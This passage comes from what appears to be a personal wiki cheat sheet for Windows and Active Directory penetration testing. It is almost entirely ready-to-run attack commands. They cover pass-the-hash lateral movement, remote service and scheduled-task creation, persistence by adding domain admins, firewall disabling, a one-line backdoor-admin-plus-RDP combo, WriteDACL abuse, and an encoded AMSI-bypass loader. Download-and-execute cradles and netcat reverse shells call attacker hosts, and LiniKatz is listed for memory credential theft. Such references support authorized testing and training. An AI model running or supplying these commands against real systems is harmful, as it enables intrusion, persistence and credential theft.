winrs.exe -u:Administrator -p:Mypass123 -r:target cmd&lt;br /&gt;
&lt;br /&gt;
# PTH-winexe&lt;br /&gt;
Basic syntax w/ credentials.&lt;br /&gt;
winexe -U % // cmd.exe&lt;br /&gt;
Basic syntax w/ NTLM hash (pass the hash technique).&lt;br /&gt;
pth-winexe -U % // cmd.exe&lt;br /&gt;
&lt;br /&gt;
# RDP - Port 3389&lt;br /&gt;
xrdp target&lt;br /&gt;
remmina&lt;br /&gt;
rdesktop target&lt;br /&gt;
&lt;br /&gt;
# PSExec &amp;amp; SMBExec - Port 445&lt;br /&gt;
# Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).&lt;br /&gt;
# If no password is provided, it will be prompted&lt;br /&gt;
./psexec.py [[domain/]username[:password]@]&lt;br /&gt;
./psexec.py -hashes  administrator@10.10.10.103 #Pass-the-Hash&lt;br /&gt;
psexec \\192.168.122.66 -u Administrator -p 123456Ww&lt;br /&gt;
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash&lt;br /&gt;
# From sysinternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
# PSExec with Powershel&lt;br /&gt;
$username = &#039;Administrator&#039;;&lt;br /&gt;
$password = &#039;Mypass123&#039;;&lt;br /&gt;
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;&lt;br /&gt;
Enter-PSSession -Computername TARGET -Credential $credential&lt;br /&gt;
# If there is a config file, use -ConfigruationName&lt;br /&gt;
Enter-PSSession -ComputerName TARGET -ConfigurationName CONFIG_NAME&lt;br /&gt;
# Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be passed through a PSCredential object as well:&lt;br /&gt;
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}&lt;br /&gt;
&lt;br /&gt;
# Remotely creat services using sc - port 135,445,139&lt;br /&gt;
sc.exe \\TARGET create AGservice binPath= &amp;quot;net user test test123 /add&amp;quot; start= auto&lt;br /&gt;
sc.exe \\TARGET start AGservice&lt;br /&gt;
# Stop or delete service&lt;br /&gt;
sc.exe \\TARGET stop AGservice&lt;br /&gt;
sc.exe \\TARGET delete AGservice&lt;br /&gt;
&lt;br /&gt;
# Creating scheduled tasks remotely&lt;br /&gt;
schtasks /s TARGET /RU &amp;quot;SYSTEM&amp;quot; /create /tn &amp;quot;AGtask1&amp;quot; /tr &amp;quot;&amp;quot; /sc ONCE /sd 01/01/1970 /st 00:00&lt;br /&gt;
schtasks /s TARGET /run /TN &amp;quot;AGtask1&amp;quot;&lt;br /&gt;
# /sc - Task will only run once. Starting date and time dosent matter because of this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shell - Changing user if you have a shell ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have a shell as a user, most likely runas command wont work because we cant type our password when prompted with typing our password. There are some tools you can try.&lt;br /&gt;
# Invoke-RunasCs.exe&lt;br /&gt;
# https://github.com/antonioCoco/RunasCs&lt;br /&gt;
.\RunasCs_net4.exe svc_mssql trustno1 cmd.exe -r 192.168.49.199:443&lt;br /&gt;
&lt;br /&gt;
# RunAsUser.exe&lt;br /&gt;
# https://github.com/atthacks/RunAsUser&lt;br /&gt;
RunAsUser.exe -u superadmin -p funnyhtb -f c:\users\public\nc.exe -a &#039;10.10.14.12 9001 -e cmd.exe&#039;&lt;br /&gt;
&lt;br /&gt;
# Try writing a ps1 script to use runas command&lt;br /&gt;
# cat runme.ps1&lt;br /&gt;
$secpasswd = ConvertTo-SecureString &amp;quot;trustno1&amp;quot; -AsPlainText -Force&lt;br /&gt;
$mycreds = New-Object System.Management.Automation.PSCredential (&amp;quot;svc_msssql&amp;quot;, $secpasswd)&lt;br /&gt;
$computer = &amp;quot;access.offsec&amp;quot;&lt;br /&gt;
[System.Diagnostics.Process]::Start(&amp;quot;C:\xampp\htdocs\uploads\shell.exe&amp;quot;,&amp;quot;&amp;quot;, $mycreds.Username, $mycreds.Password, $computer)&lt;br /&gt;
# or&lt;br /&gt;
$creds = New-Object System.Management.Automation.PSCredential (&amp;quot;example.com\tan&amp;quot;, (ConvertTo-SecureString &amp;quot;Password&amp;quot; -AsPlainText -Force))&lt;br /&gt;
Get-DomainUser -Credential $creds&lt;br /&gt;
# Abusing WriteDACL&lt;br /&gt;
# What is WriteDACL?&lt;br /&gt;
## It&#039;s an access right that grants permission to modify the Discretionary Access Control List (DACL) of Active Directory objects.&lt;br /&gt;
# See also this for more attack path&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/dacl/grant-rights&lt;br /&gt;
# To identify user accounts that are potentially misconfigured, you can use Get-DomainUser and Get-ObjectAcl:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
# With WriteDACL rights, an attacker can modify access rights of an AD object. The example provided demonstrates adding the GenericAll right:&lt;br /&gt;
PS C:\tools&amp;gt; Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All&lt;br /&gt;
# To verify that the GenericAll right is set on testservice2 we can enumerate. And after that change the password as we did above:&lt;br /&gt;
PS C:\tools&amp;gt; Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
&lt;br /&gt;
# Anoter Example of Abusing WriteDACL&lt;br /&gt;
# User have WriteDACL rights on mailadmins. We can modify our rights to get GenericAll on the group&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;test&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;user1&#039;, $SecPassword)&lt;br /&gt;
Add-DomainObjectAcl -Credential $Cred -TargetIdentity &amp;quot;Mailadmins&amp;quot; -PrincipalIdentity user1-Rights All&lt;br /&gt;
# Now we can add ourselvs to the group by using PowerViews&lt;br /&gt;
Add-DomainGroupMember -Identity &amp;quot;mailadmins&amp;quot; -Members sqlsvc -Credential $Cred&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Basic commands ==&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info&lt;br /&gt;
# DOMAIN INFO&lt;br /&gt;
echo %USERDOMAIN% #Get domain name&lt;br /&gt;
echo %USERDNSDOMAIN% #Get domain name&lt;br /&gt;
echo %logonserver% #Get name of the domain controller&lt;br /&gt;
set logonserver #Get name of the domain controller&lt;br /&gt;
set log #Get name of the domain controller&lt;br /&gt;
net groups /domain #List of domain groups&lt;br /&gt;
net group &amp;quot;domain computers&amp;quot; /domain #List of PCs connected to the domain&lt;br /&gt;
net view /domain #Lis of PCs of the domain&lt;br /&gt;
nltest /dclist: #List domain controllers&lt;br /&gt;
net group &amp;quot;Domain Controllers&amp;quot; /domain #List PC accounts of domains controllers&lt;br /&gt;
net group &amp;quot;Domain Admins&amp;quot; /domain #List users with domain admin privileges&lt;br /&gt;
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup &amp;quot;Domain Admins&amp;quot; is included here)&lt;br /&gt;
net user /domain #List all users of the domain&lt;br /&gt;
net user  /domain #Get information about that user&lt;br /&gt;
net accounts /domain #Password and lockout policy&lt;br /&gt;
nltest /domain_trust #Mapping of the trust relationships.&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# USERS&lt;br /&gt;
whoami /all #All info about me, take a look at the enabled tokens&lt;br /&gt;
whoami /priv #Show only privileges&lt;br /&gt;
net users #All users&lt;br /&gt;
dir /b /ad &amp;quot;C:\Users&amp;quot;&lt;br /&gt;
net user %username% #Info about a user (me)&lt;br /&gt;
net accounts #Information about password requirements&lt;br /&gt;
qwinsta #Anyone else logged in?&lt;br /&gt;
net user /add [username] [password] #Create user&lt;br /&gt;
#Lauch new cmd.exe with new creds (to impersonate in network)&lt;br /&gt;
runas /netonly /user\ &amp;quot;cmd.exe&amp;quot; ::The password will be prompted&lt;br /&gt;
#Check current logon session as administrator using logonsessions from sysinternals&lt;br /&gt;
logonsessions.exe&lt;br /&gt;
logonsessions64.exe&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# GROUPS&lt;br /&gt;
#Local&lt;br /&gt;
net localgroup #All available groups&lt;br /&gt;
net localgroup Administrators #Info about a group (admins)&lt;br /&gt;
net localgroup administrators [username] /add #Add user to administrators&lt;br /&gt;
#Domain&lt;br /&gt;
net group /domain #Info about domain groups&lt;br /&gt;
net group /domain  #Users that belongs to the group&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PERSISTENCE WITH USERS&lt;br /&gt;
# Add domain user and put them in Domain Admins group&lt;br /&gt;
net user username password /ADD /DOMAIN&lt;br /&gt;
net group &amp;quot;Domain Admins&amp;quot; username /ADD /DOMAIN&lt;br /&gt;
# Add local user and put them local Administrators group&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
net localgroup Administrators username /ADD&lt;br /&gt;
# Add user to insteresting groups:&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; UserLoginName  /add&lt;br /&gt;
net localgroup &amp;quot;Debugger users&amp;quot; UserLoginName /add&lt;br /&gt;
net localgroup &amp;quot;Power users&amp;quot; UserLoginName /add&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# FIREWALL&lt;br /&gt;
netsh firewall show state # FW info, open ports&lt;br /&gt;
netsh advfirewall firewall show rule name=all&lt;br /&gt;
netsh firewall show config # FW info&lt;br /&gt;
Netsh Advfirewall show allprofiles&lt;br /&gt;
NetSh Advfirewall set allprofiles state off  #Turn Off&lt;br /&gt;
NetSh Advfirewall set allprofiles state on  #Trun On&lt;br /&gt;
netsh firewall set opmode disable #Turn Off&lt;br /&gt;
::How to open ports&lt;br /&gt;
netsh advfirewall firewall add rule name=&amp;quot;NetBIOS UDP Port 138&amp;quot; dir=out action=allow protocol=UDP localport=138&lt;br /&gt;
netsh advfirewall firewall add rule name=&amp;quot;NetBIOS TCP Port 139&amp;quot; dir=in action=allow protocol=TCP localport=139&lt;br /&gt;
netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot;&lt;br /&gt;
::Enable Remote Desktop&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot;&lt;br /&gt;
::netsh firewall set service remotedesktop enable #I found that this line is not needed&lt;br /&gt;
::sc config TermService start= auto #I found that this line is not needed&lt;br /&gt;
::net start Termservice #I found that this line is not needed&lt;br /&gt;
::Enable Remote assistance:&lt;br /&gt;
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f&lt;br /&gt;
netsh firewall set service remoteadmin enable&lt;br /&gt;
::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)&lt;br /&gt;
net user hacker Hacker123! /add &amp;amp; net localgroup administrators hacker /add &amp;amp; net localgroup &amp;quot;Remote Desktop Users&amp;quot; hacker /add &amp;amp; reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f &amp;amp; reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fAllowToGetHelp /t REG_DWORD /d 1 /f &amp;amp; netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot; &amp;amp; netsh firewall set service remoteadmin enable&lt;br /&gt;
::Connect to RDP (using hash or password)&lt;br /&gt;
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49&lt;br /&gt;
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PowerShell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters&lt;br /&gt;
# Default PowerShell locations&lt;br /&gt;
C:\windows\syswow64\windowspowershell\v1.0\powershell&lt;br /&gt;
C:\Windows\System32\WindowsPowerShell\v1.0\powershell&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Basic PS commands to start&lt;br /&gt;
Get-Help * #List everything loaded&lt;br /&gt;
Get-Help process #List everything containing &amp;quot;process&amp;quot;&lt;br /&gt;
Get-Help Get-Item -Full #Get full helpabout a topic&lt;br /&gt;
Get-Help Get-Item -Examples #List examples&lt;br /&gt;
Import-Module&lt;br /&gt;
Get-Command -Module&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Download and Execute&lt;br /&gt;
powershell &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/ipw.ps1&#039;)&amp;quot;&lt;br /&gt;
echo IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.13:8000/PowerUp.ps1&#039;) | powershell -noprofile - #From cmd download and execute&lt;br /&gt;
powershell -exec bypass -c &amp;quot;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(&#039;http://10.2.0.5/shell.ps1&#039;)|iex&amp;quot;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:8000/ipw.ps1&#039;) #From PSv3&lt;br /&gt;
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open(&#039;GET&#039;,&#039;http://10.10.14.9:8000/ipw.ps1&#039;,$false);$h.send();iex $h.responseText&lt;br /&gt;
$wr = [System.NET.WebRequest]::Create(&amp;quot;http://10.10.14.9:8000/ipw.ps1&amp;quot;) $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Download and Exectute in background with AMSI Bypass&lt;br /&gt;
Start-Process -NoNewWindow powershell &amp;quot;-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=&amp;quot;&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Using Base64 from Linux&lt;br /&gt;
echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.31/shell.ps1&#039;)&amp;quot; | iconv -t UTF-16LE | base64 -w 0&lt;br /&gt;
powershell -nop -enc&lt;br /&gt;
# Enumerate GenericAll using PowerView&lt;br /&gt;
##  To identify all domain users that the current account has GenericAll rights to (Remember to run from domain user and not local user:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
## If you have GenericAll on user account, change the password&lt;br /&gt;
net user user1 pass123 /domain&lt;br /&gt;
# To enumerate domain groups that the current user has explicit access rights to:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
## With GenericAll rights on a group, a user can add themselves or other users to that group:&lt;br /&gt;
net group testgroup User2 /add /domain&lt;br /&gt;
# Enumerate PowerShell Console history&lt;br /&gt;
(Get-PSReadlineOption).HistorySavePath&lt;br /&gt;
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download file from attacker to target ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info]&lt;br /&gt;
&lt;br /&gt;
See my cheatsheet also.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== adPEAS ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/61106960/adPEAS https://github.com/61106960/adPEAS]&lt;br /&gt;
&lt;br /&gt;
adPEAS consists of the following enumeration modules:&lt;br /&gt;
&lt;br /&gt;
* Domain - Searching for basic Active Directory information, like Domain Controllers, Sites und Subnets, Trusts and DCSync rights&lt;br /&gt;
&lt;br /&gt;
* CA - Searching for basic Enterprise Certificate Authority information, like CA Name, CA Server and Templates&lt;br /&gt;
&lt;br /&gt;
* Creds - Searching for different kind of credential exposure, like ASREPRoast, Kerberoasting, GroupPolicies, Netlogon scripts, LAPS, gMSA, certain account attributes, e.g. UnixPassword, etc.&lt;br /&gt;
&lt;br /&gt;
* Delegation - Searching for delegation issues, like &#039;Constrained Delegation&#039;, &#039;Unconstrained Delegation&#039; and &#039;Resource Based Unconstrained Delegation&#039;, for computer and user accounts&lt;br /&gt;
&lt;br /&gt;
* Accounts - Searching for high privileged user accounts in predefined groups, account issues like e.g. password not expire&lt;br /&gt;
&lt;br /&gt;
* Computer - Enumerating Domain Controllers, CA and Exchange server, with the switch -Vulns it checks the systems for EternalBlue, BlueKeep, ZeroLogon and critical Exchange vulnerabilities&lt;br /&gt;
&lt;br /&gt;
* Bloodhound - Enumerating Active Directory with BloodHound&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Load adPEAS in PowerShell.&lt;br /&gt;
Import-Module .\adPEAS.ps1 # Method 1&lt;br /&gt;
. .\adPEAS.ps1 # Method 2&lt;br /&gt;
gc -raw .\adPEAS.ps1 | iex # Method 3&lt;br /&gt;
IEX (New-Object Net.WebClient).DownloadString(&#039;https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1&#039;) # Method 4&lt;br /&gt;
-----------------------------&lt;br /&gt;
# Start adPEAS with all enumeration modules and enumerate the domain the logged-on user and computer is connected to.&lt;br /&gt;
Invoke-adPEAS&lt;br /&gt;
#Start adPEAS with all enumeration modules and enumerate the domain &#039;contoso.com&#039;.&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039;&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the domain controller &#039;dc1.contoso.com&#039; for almost all enumeration requests.&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039; -Server &#039;dc1.contoso.com&#039;&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the passed PSCredential object during enumeration.&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;Passw0rd1!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;contoso\johndoe&#039;, $SecPassword)&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039; -Cred $Cred&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the username &#039;contoso\johndoe&#039; with password &#039;Passw0rd1!&#039; during enumeration.&lt;br /&gt;
Invoke-adPEAS -Domain contoso.com -Username &#039;contoso\johndoe&#039; -Password &#039;Passw0rd1!&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LiniKatzV2 ==&lt;br /&gt;
&lt;br /&gt;
This tool needs &#039;&#039;&#039;root privileges&#039;&#039;&#039; to be run on the host system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Orange-Cyberdefense/LinikatzV2&lt;br /&gt;
# It allows extraction of :&lt;br /&gt;
# - Hashed stored in files for offline connection (SHA-512 format)&lt;br /&gt;
# - Kerberos tickets (user &amp;amp; machine)&lt;br /&gt;
# - Clear passwords in RAM&lt;br /&gt;
# - NTLM machine hash&lt;br /&gt;
# - AES-128 &amp;amp; AES-256 machine keys&lt;br /&gt;
$ sudo ./linikatzV2.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Purple-Knight ==&lt;br /&gt;
&lt;br /&gt;
[https://www.purple-knight.com/ https://www.purple-knight.com/]&lt;br /&gt;
&lt;br /&gt;
== Fores-Druid ==&lt;br /&gt;
&lt;br /&gt;
[https://www.purple-knight.com/forest-druid/ Forest Druid - Focus on your Tier 0 perimeter (purple-knight.com)]&lt;br /&gt;
&lt;br /&gt;
== PowerView (Enumeration and lateral movement) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview PowerView/SharpView - HackTricks]&lt;br /&gt;
&lt;br /&gt;
The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tevora-threat/SharpView SharpView] is a .NET port of [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 PowerView]&lt;br /&gt;
&lt;br /&gt;
